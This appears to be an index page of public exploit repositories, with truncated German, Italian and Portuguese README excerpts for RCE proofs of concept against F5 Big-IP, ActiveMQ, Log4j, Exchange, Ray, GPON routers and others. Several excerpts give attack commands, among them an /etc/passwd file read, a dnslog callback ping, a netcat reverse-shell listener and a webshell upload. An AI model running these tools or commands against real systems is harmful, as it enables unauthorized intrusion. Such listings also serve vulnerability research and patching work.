CVE-2020-6364

CVE-2020-6364 Esecuzione remota di codice in CA APM Team Center Wily Introscope. Avviso originale Una vulnerabilità di deserializzazione in CA APM Team Center porta all'esecuzione remota di codice non autenticata sul server. Quando ci si autentica al server, viene restituito un cookie che inizia...

CVE-2020-5902

CVE-2020-5902 Python-Skript zum Ausnutzen von F5 Big-IP CVE-2020-5902 Beispiele Lokales Dateilesen ausnutzen: python3 CVE-2020-5902.py -t example.com -x lfr -f /etc/passwd RCE ausnutzen: python3 CVE-2020-5902.py -t example.com -x rce -a list+auth+user+admin...

CVE-2016-3088

Apache ActiveMQ PUT RCE Ein-Klick-getshell Verwendung:python3 CVE-2016-3088.py -u https://tartget.com/...

Havoc-C2-SSRF-to-RCE

Havoc-C2-SSRF-to-RCE Questa è una versione modificata del PoC SSRF CVE-2024-41570 di @chebuya combinato con l'exploit auth RCE di @hyperreality. Questo exploit esegue codice in remoto su un target a causa di molteplici vulnerabilità in Havoc C2 Framework...

Pingpon-Exploit

PINGPON EXPLOIT Autor: @037 Pingpon ist ein Tool, mit dem Tausende anfälliger GPON-Heimrouter über Shodan.io abgerufen werden können, um dann über eine Schwachstelle zur Remote-Code-Ausführung CVE-2018-10562 beliebige Linux-Befehle auszuführen. DISCLAIMER Ich bin NICHT verantwortlich für Schäden,...

Node.js-CVE-2017-5941

Demo einer unsicheren Deserialisierung in Node.js Node.js ist eine Open-Source-Laufzeitumgebung, die zur Implementierung von Serverfunktionalitäten in JavaScript verwendet wird. Ein bestimmtes Softwarepaket innerhalb von Node.js enthält eine anfällige Funktion zur Deserialisierung, die dazu führt...

Foxit-Reader-RCE-with-virualalloc-and-shellcode-for-CVE-2018-9948-and-CVE-2018-9958

Benutzerdefinierter Exploit : Foxit Reader Version 9.0.1.1049 Use After Free mit ASLR- und DEP-Umgehung auf dem Heap Mein benutzerdefinierter Exploit : Foxit-Reader-RCE-with-virualalloc-and-shellcode-for-CVE-2018-9948-and-CVE-2018-9958 Benutzerdefinierter Exploit für Win 7 Hat Platz für Shellcode...

CVE-2024-24926

CVE-2024-24926 CVE-2024-24926 Schwachstelle betrifft das WordPress-Theme Brooklyn Beschreibung: Die Schwachstelle CVE-2024-24926 betrifft das WordPress-Theme Brooklyn Versionen bis 4.9.7.6 und steht im Zusammenhang mit der Deserialisierung nicht vertrauenswürdiger Daten CWE-502. Dies ermöglicht e...

CVE-2023-23333

CVE-2023-23333 SolarView Compact bis 6.00 downloader.php Befehlsinjektion RCE nuclei-templates Burp Nuclei...

CVE-2021-43609-POC

Spiceworks Sort SQLi C'è una SQLi in un parametro sort di Spiceworks. La catena di exploit completa è SQLi - lettura file - RCE. Demo Prerequisiti apt update && apt install -y ruby-dev nodejs python3 python3-pip libsqlite3-dev pip3 install requests gem install bundler && cd rce && bundle install...

CVE-2021-25646

Apache Druid Execução Remota de Código CVE-2021-25646 por j2ekim Uso python exp.py -u --url -c --command python cve-2021-25646.py -u http://127.0.0.1:8888 -c "ping 5ap7ta.dnslog.cn" Artigo de reprodução da vulnerabilidade https://www.adminxe.com/2109.html Aviso de uso Quaisquer consequências ou...

deepin-linux_reader_RCE-exploit

CVE-2023-50254 - Deepin Linux Standard-Dokumentbetrachter deepin-reader RCE CVE-2023-50254: PoC-Exploit für Deepin-reader RCE, das nicht gepatchte Deepin-Linux-Desktops betrifft. Der Standard-Dokumentbetrachter „deepin-reader" von Deepin Linux weist eine schwerwiegende Schwachstelle aufgrund eine...

ResponsiveFileManager-CVE-2022-46604

ResponsiveFileManager-CVE-2022-46604 Responsive FileManager v.9.9.5 ist anfällig für CVE-2022-46604 Dateierstellungs-Erweiterungsumgehung, die zu RCE führt. Der aktuelle Exploit ist in Python 3 geschrieben und nutzt die Sicherheitslücke aus, um eine Webshell hochzuladen, die die Remote-Ausführung...

Microsoft-Exchange-RCE

Microsoft-Exchange-RCE Microsoft Exchange CVE-2021-26855 und CVE-2021-27065...

CVE-2023-6019

Injeção de Comandos no SO Ray RCE Não Autorizado Uso: 1. nc -lvnp 4444 2. python3 cve-2023-6019.py -t 192.168.1.13 -p 80 -L 192.168.1.14 -P 80...

CVE-2026-20841

🛡️ CVE-2026-20841 - Windows Notepad Sicherheitstest-Tool ⚠️ Was ist CVE-2026-20841? CVE-2026-20841 ist eine bekannte Sicherheitsschwachstelle in der Windows-Notepad-Anwendung. Sie betrifft die Markdown-Funktion, mit der Notepad formatierten Text mit anklickbaren Links anzeigen kann. Diese...

CVE-2019-18426

WhatsApp Sicherheitslücken Offenlegung - Offene Weiterleitung + CSP Umgehung + Beständiges XSS + FS Leseberechtigungen + Potenzial für RCE CVE-2019-18426 Technischer Artikel Ursprüngliche Sicherheitslücken Offenlegungsdokumente DEMO Videos!...

Log4j-PoC

Proof of Concept für Log4j CVE-2021-44228 Haftungsausschluss Dieses Projekt dient nur zu Bildungszwecken. Einführung Dies ist ein Proof of Concept der Log4j-RCE, adaptiert von HyCraftHD. Hier sind einige Links für CVE-2021-44228: https://www.lunasec.io/docs/blog/log4j-zero-day...

CVE-2019-11447

CVE-2019-11447 - PoC Sfrutta CuteNews 2.1.2 tramite controlli deboli sul caricamento dei file utilizzati per caricare un'immagine avatar, portando a RCE. Installazione Clona il repository e installa i requisiti. pip install -r requirements.txt Utilizzo Per caricare un avatar è necessario un accou...

CVE-2020-14321

CVE-2020-14321 Kurseinschreibungen ermöglichten Privilegieneskalation von der Lehrerrolle zur Managerrolle bis hin zu RCE Vielleicht braucht jemand ein Python-Skript, daher habe ich es geschrieben, um dies auszunutzen. So verwenden Sie diesen PoC: How to use this PoC script Case 1. If you have va...